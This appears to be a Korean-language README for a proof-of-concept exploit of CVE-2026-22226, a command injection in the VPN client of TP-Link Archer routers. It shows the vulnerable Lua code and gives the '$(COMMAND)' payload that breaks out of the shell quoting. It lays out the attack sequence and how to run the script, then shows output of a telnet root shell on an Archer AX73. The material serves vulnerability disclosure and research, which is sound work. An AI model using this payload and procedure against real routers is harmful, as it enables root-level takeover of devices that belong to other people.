
CVE-2026-22226에 대한 개념 증명
CVE-2026-22226에 대한 개념 증명
TP-Link Archer Wi-Fi 라우터 VPN 클라이언트의 인증된 LAN 측 OS 명령 삽입
VPN 클라이언트 컨트롤러는 사용자가 제어하는 항목 설명(des)을 약한 검증 정규식을 사용하여 UCI 구성에 저장합니다. 나중에 항목을 다시 읽을 때(WebUI에서 편집 중), get_ovpn_data()는 des를 인용된 셸 명령에 보간하여 추가 소독 없이 os.execute()에 전달합니다:
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
작은따옴표 문자(')는 검증 정규식을 통과하기 때문에 셸 인용을 벗어나 $() 치환을 통해 명령을 주입할 수 있습니다. des 필드를 '$(COMMAND)'로 설정하면 명령이 다음과 같이 바뀝니다:
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
명령 출력은 HTTP 응답에 반환되지 않으므로 주입은 블라인드 상태입니다. 따라서 대역외 채널이 필요합니다(여기서 PoC 스크립트는 대화형 셸을 얻기 위해 telnetd 서버를 실행합니다).
[!Note] TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717)에서만 테스트했지만, 다른 Archer 장치도 취약할 가능성이 높습니다.
이 PoC는 다음 과정을 따릅니다:
admin으로 인증.ovpn 구성 파일 업로드des 필드로 VPN 클라이언트 항목 삽입, 작은따옴표 컨텍스트를 벗어나 명령 치환을 통해 페이로드 주입get_ovpn_data() 트리거, 오염된 des가 os.execute()에 전달됨[!Warning] 이 취약점을 악용하면 라우터에서 OS 명령을
root권한으로 실행(전체 장치 손상)할 수 있으며, 허용된 작은따옴표 문자를 통해des입력 검증을 우회합니다.
Python 종속성은 스크립트에 인라인으로 선언되어 있으므로 최신 Python 프로젝트 관리자로 직접 실행하거나 pip로 수동 설치할 수 있습니다:
# pipx 사용
pipx run poc.py
# uv 사용
uv run poc.py
# pip (레거시) 사용 후 python으로 실행
pip install requests pycryptodome
python poc.py
poc.py에서 대상 IP, 자격 증명 및 페이로드 설정
스크립트 실행:
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux